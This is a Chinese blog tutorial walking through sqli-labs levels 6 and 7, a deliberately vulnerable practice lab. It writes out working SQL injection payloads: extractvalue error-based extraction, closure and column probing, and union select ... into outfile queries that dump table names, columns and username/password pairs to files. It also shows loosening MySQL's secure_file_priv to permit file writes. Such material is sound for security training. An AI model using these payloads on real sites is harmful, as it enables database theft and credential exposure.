当前位置: 首页 > news >正文

【sqli靶场】第六关和第七关通关思路

目录

前言

一、sqli靶场第六关

1.1 判断注入类型

1.2 观察报错  

1.3 使用extractvalue函数报错

1.4 爆出数据库中的表名

二、sqli靶场第七关

1.1 判断注入类型

1.2 判断数据表中的字段数

1.3 提示

1.4 构造poc爆库名

1.5 构造poc爆表名

1.6 构造poc爆字段名

1.7 构造poc获取账号和密码


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

 sqli靶场第1关:filotimo.blog.less1

 sqli靶场第2-3关:filotimo.blog.less2-3

 sqli靶场第4-5关:filotimo.blog.less4-5


一、sqli靶场第六关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

输入?id=1"",正常回显(""是两个英文双引号)。

1.2 观察报错  

报错信息为'"1"" LIMIT 0,1' 

判断其为"闭合

输入?id=1'' --+,正常回显。

Less6的正常回显和Less5一样,都没有显示位,我们还是考虑报错注入。

1.3 使用extractvalue函数报错

构造语句:

?id=-1" and extractvalue(1,concat(0x7e,database(),0x7e)) --+

结果如图:

我们能看到数据库名为security。

1.4 爆出数据库中的表名

构造语句:

?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

结果如图:

我们能看到表名为emails,referers,uagents,users。

点到为止,后面内容跟Less5思路一样,可以看我前面写的博客。

二、sqli靶场第七关

1.1 判断注入类型

输入?id=1' and 1=1 --+,报语法错误。

输入?id=1" and 1=1 --+,正常回显(''是两个英文单引号)。

但输入?id=1" and 1=2 --+,仍然是正常回显,说明不是单纯的引号注入。

这关数据库具体报错没有提示到页面上,先猜猜看吧。

​常用闭合方式有:

?id=1'--+

?id=1"--+

?id=1')--+

?id=1")--+

?id=1'))--+

?id=1"))--+

当输入?id=1')) and 1=1 --+,正常回显。输入?id=1')) and 1=2 --+,报语法错误。说明是'))的闭合方式。

1.2 判断数据表中的字段数

用二分法与order by确定列数为3。

输入?id=1')) order by 3 --+,正常回显。

输入?id=1')) order by 4 --+,报错。

所以数据表中有3个字段。

1.3 提示

正常回显中提示: Use outfile......

在数据库中,outfile是一个命令,用于导出数据到文件。

以下是使用 into outfile 语句的一般语法:

SELECT column1, column2, ...
FROM table
INTO OUTFILE 'file_path'

其中,SELECT 语句是你的查询语句,column1, column2, ... 是需要获取的列名,table 是要查询的表名。而 'file_path' 是你希望将结果导出到的文件的路径。

into outfile() 写入文件,前提是要MySQL数据库开启secure-file-priv写文件权限,也就是secure_file_priv不为NULL。

我们进入MySQL命令窗口,输入show variables lilke '%secure%' ;

我的界面如图:

我用的是phpstudy,然后进入mysql安装目录,我的目录是E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26

进入目录,打开my.ini ,我的文件里面没有secure_file_priv,手动添加secure_file_priv=""

保存后退出,然后重启MySQL
 

再进入MySQL命令窗口,输入show variables lilke '%secure%' ;

这次我的界面如图:

1.4 构造poc爆库名

构造poc:

?id=-1')) union select user(),version(),database() into outfile "C:\\Users\\admin\\Desktop\\database.txt" --+

输入这个poc,它会报语法错误,但不要急,看看你的桌面,你会发现桌面上多了一个名为database.txt的文件。( into outfile 后面的路径分隔符不能是\)

database.txt文件内容:

可以知道数据库的名字为security

1.5 构造poc爆表名

group_concat是一个聚合函数,用于将一组数据按照指定的顺序连接起来,并将结果作为一个字符串返回。它通常用于将多个行中的某个字段进行连接,从而构建出一段文本。

例如,我们有一张表格product,其中包含了id, name和color三个字段,现在我们需要将所有产品的名称连接起来,这时就可以使用group_concat函数:

SELECT GROUP_CONCAT(name) FROM product;

该查询将返回一个包含所有产品名称的逗号分隔字符串。如果想自定义连接符号,可以在 group_concat函数中指定separator参数,例如:

SELECT GROUP_CONCAT(name SEPARATOR ';') FROM product;

该查询将以分号作为连接符号返回所有的产品名称。

构造poc:

?id=-1')) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "C:\\Users\\admin\\Desktop\\tables.txt" --+

桌面上会出现tables.txt,文件内容为:

可以知道security库中表名为emails,referers,uagents,users。

1.6 构造poc爆字段名

爆出users表中的字段名:

?id=-1')) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile "C:\\Users\\admin\\Desktop\\column.txt" --+

桌面上会出现column.txt,文件内容为:

可以知道users表中字段名为id,username,password。

1.7 构造poc获取账号和密码

构造poc:

?id=-1')) union select user(),version(),(select group_concat((concat_ws('~',username,password)) separator ';')from security.users )into outfile "C:\\Users\\admin\\Desktop\\password.txt" --+

桌面上会出现password.txt,文件内容为:

相关文章:

【sqli靶场】第六关和第七关通关思路

目录 前言 一、sqli靶场第六关 1.1 判断注入类型 1.2 观察报错 1.3 使用extractvalue函数报错 1.4 爆出数据库中的表名 二、sqli靶场第七关 1.1 判断注入类型 1.2 判断数据表中的字段数 1.3 提示 1.4 构造poc爆库名 1.5 构造poc爆表名 1.6 构造poc爆字段名 1.7 构造poc获取账…...

c语言快速排序(霍尔法、挖坑法、双指针法)图文详解

快速排序介绍: 快速排序是一种非常常用的排序方法,它在1962由C. A. R. Hoare(霍尔)提的一种二叉树结构的交换排序方法,故因此它又被称为霍尔划分,它基于分治的思想,所以整体思路是递归进行的。 …...

【mysql】锁的类型有哪些呢?

0 回答 根据数据的访问级别来区分: mysql锁分为共享锁和排他锁,也叫做读锁和写锁。读锁是共享的,可以通过lock in share mode实现,这时候只能读不能写。写锁是排他的,它会阻塞其他的写锁和读锁。 从颗粒度来区分&am…...

uniapp 显示文件流图片

如果是需要将文件流保存到相册,可以先转base64.详情见>uniapp app将base64保存到相册,uniapp app将文件流保存到相册-CSDN博客 uni.request({url: "www.baidu.com",data: {},header: {content-type:application/json,Authorization: "token"…...

多线程------ThreadLocal详解

目录 1. 什么是 ThreadLocal? 2. 如何使用 ThreadLocal? 3. ThreadLocal 的作用 4. ThreadLocal 的应用场景 5. ThreadLocal 的注意事项 我的其他博客 ThreadLocal 是 Java 中一个很有用的类,它提供了线程局部变量的支持。线程局部变量…...

【C++】POCO学习总结(十六):随机数、密码、时间戳、日期和时间(格式化与解析)、时区、本地时间

【C】郭老二博文之:C目录 1、Poco::Random 随机数 1.1 说明 POCO包括一个伪随机数生成器(PRNG),使用非线性加性反馈算法,具有256位状态信息和长达269的周期。 PRNG可以生成31位的伪随机数。 它可以生成UInt32, char, bool, float和double…...

打补丁,生成.diff文件

作者:爱塔居 文章目录 目录 前言 步骤 一、在根目录上,输入添加指令 二、输入修改内容指令 三、生成补丁 前言 自己的理解,仅供参考,欢迎指正。 补丁的话,在我看来就是方便评审,更方便看修改代码吧。 步骤…...

《LeetCode力扣练习》代码随想录——字符串(KMP算法学习补充——针对next数组构建的回退步骤进行解释)

《LeetCode力扣练习》代码随想录——字符串(KMP算法学习补充——针对next数组构建的回退步骤进行解释) 学习路径 代码随想录:28. 实现 strStr() CSDN:【详解】KMP算法——多图,多例子(c语言) …...

【CANoe】CAPL中on signal和on signal_update的区别

文章目录 CAN信号事件 CAN信号事件 CAN信号事件是在CAN总线上出现指定的信号时被调用(需要配合DBC文件使用)。 关键字为:on signal xxx或on signal_update xxx。 on signal xxx:只在指定信号的值发生变化时被调用, on signal_u…...

ArrayList集合的两个实例应用,有趣的洗牌算法与杨辉三角

本节课的内容,就让我们来学习一下ArrayList集合的应用,ArrayList的本质就是一个顺序表,那下面一起来学习吧 目录 一、杨辉三角 1.题目详情及链接 2.剖析题目 3.思路及代码 二、洗牌算法 1.创造牌对象 2.创造一副牌 3.洗牌操作 4.发…...

Qt 剪贴板操作

Qt剪贴板操作 剪贴板的操作经常和前面所说的拖放技术在一起使用,因此我们现在先来说说剪贴板的相关操作。大家对剪贴板都很熟悉。我们可以简单的把它理解成一个数据的存储池,可以把外面的数据放置进去,也可以把里面的数据取出来。剪贴板是由操作系统维护的,所以这提供了跨…...

python 学习笔记20 批量修改页眉页脚

需求:修改指定目录下所有文件的页眉页脚,或者往里面添加内容。 1. 这里做了word的实现和excel的实现,如下: 需要先安装 pip3 install pywin32,另外页眉页脚格式设置可以参考: word: 浅谈Wor…...

IIS + Axios 跨域设置

1、服务器端设置IIS &#xff08;web.config) 即可&#xff0c;不需要对django settings.py做配置&#xff08;python manage.py runserver 才需要settings.py配置跨域&#xff0c;IIS在iis上配&#xff09; 网站根目录的web.config中加上这段&#xff1a; <httpProtocol&…...

详细说说vuex

Vuex 是什么 Vuex有几个属性及作用注意事项vuex 使用举例Vuex3和Vuex4有哪些区别 创建 Store 的方式在组件中使用 Store辅助函数的用法响应式的改进Vuex4 支持多例模式 Vuex 是什么 Vuex是一个专门为Vue.js应用设计的状态管理构架&#xff0c;它统一管理和维护各个Vue组件的可…...

Qt之Ui样式表不影响子类的配置

Qt之Ui样式表不影响子类的配置 问题 在ui界面上布局时&#xff0c;当对容器进行样试设计时&#xff0c;会对容器内其它成员对象也进行了修改 分析 对应*.ui文件内容 从这个写法来看&#xff0c;它的样式属性会影响其成员对象样式属性。 解决方法 在容器的样式表中写时适…...

Java集合--Map

1、Map集合概述 在Java的集合框架中&#xff0c;Map为双列集合&#xff0c;在Map中的元素是成对以<K,V>键值对的形式存在的&#xff0c;通过键可以找对所对应的值。Map接口有许多的实现类&#xff0c;各自都具有不同的性能和用途。常用的Map接口实现类有HashMap、Hashtab…...

C语言—每日选择题—Day48

第一题 1. 已知宏定义&#xff1a; #define M y*y3*y &#xff0c; 则表达式 s3*M4*My*M 预处理阶段后的结果是 A&#xff1a;s3*(y*y3*y)4*(y*y3*y)y*(y*y3*y) B&#xff1a;s3*(y*y)3*y4*(y*y)3*yy*(y*y)3*y C&#xff1a;s3*y*y3*y4*y*y3*yy*y*y3*y D&#xff1a;s3*(y*y)(3…...

华为OD试题七(IPv4地址转换成整数、比赛的冠亚季军)

1. IPv4地址转换成整数 示例代码&#xff1a; #测试数据 s1 "100#101#1#5"def fun(s):s_list s.split("#")# 转化成十六进制数 左边补零s_16_list [hex(int(_))[2:].zfill(2) for _ in s_list]s_16_str .join(s_16_list)return int(s_16_str,16) r f…...

SVN优缺点详解及版本控制系统选型建议

Subversion (SVN)是目前可用的众多版本控制选项之一。本篇文章将全面概述什么是 SVN、SVN的历史、SVN存储库是什么&#xff0c;以及在切换到SVN之前您应该谨慎考虑的潜在问题。 什么是Subversion&#xff08;SVN&#xff09;&#xff1f; Subversion软件&#xff0c;也称为SV…...

自己动手写数据库: select 查询语句对应查询树的构造和执行

首先我们需要给原来代码打个补丁&#xff0c;在SelectScan 结构体初始化时需要传入 UpdateScan 接口对象&#xff0c;但很多时候我们需要传入的是 Scan 对象&#xff0c;因此我们需要做一个转换&#xff0c;也就是当初始化 SelectScan 时&#xff0c;如果传入的是 Scan 对象&am…...

后进先出(LIFO)详解

LIFO 是 Last In, First Out 的缩写&#xff0c;中文译为后进先出。这是一种数据结构的工作原则&#xff0c;类似于一摞盘子或一叠书本&#xff1a; 最后放进去的元素最先出来 -想象往筒状容器里放盘子&#xff1a; &#xff08;1&#xff09;你放进的最后一个盘子&#xff08…...

突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合

强化学习&#xff08;Reinforcement Learning, RL&#xff09;是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程&#xff0c;然后使用强化学习的Actor-Critic机制&#xff08;中文译作“知行互动”机制&#xff09;&#xff0c;逐步迭代求解…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序

一、开发准备 ​​环境搭建​​&#xff1a; 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 ​​项目创建​​&#xff1a; File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...

NFT模式:数字资产确权与链游经济系统构建

NFT模式&#xff1a;数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新&#xff1a;构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议&#xff1a;基于LayerZero协议实现以太坊、Solana等公链资产互通&#xff0c;通过零知…...

IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)

文章目录 概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈 任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...

css3笔记 (1) 自用

outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size&#xff1a;0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格&#xff…...

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发&#xff0c;使用DevEco Studio作为开发工具&#xff0c;采用Java语言实现&#xff0c;包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

算法笔记2

1.字符串拼接最好用StringBuilder&#xff0c;不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...

中医有效性探讨

文章目录 西医是如何发展到以生物化学为药理基础的现代医学&#xff1f;传统医学奠基期&#xff08;远古 - 17 世纪&#xff09;近代医学转型期&#xff08;17 世纪 - 19 世纪末&#xff09;​现代医学成熟期&#xff08;20世纪至今&#xff09; 中医的源远流长和一脉相承远古至…...

Go 语言并发编程基础:无缓冲与有缓冲通道

在上一章节中&#xff0c;我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道&#xff0c;它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好&#xff0…...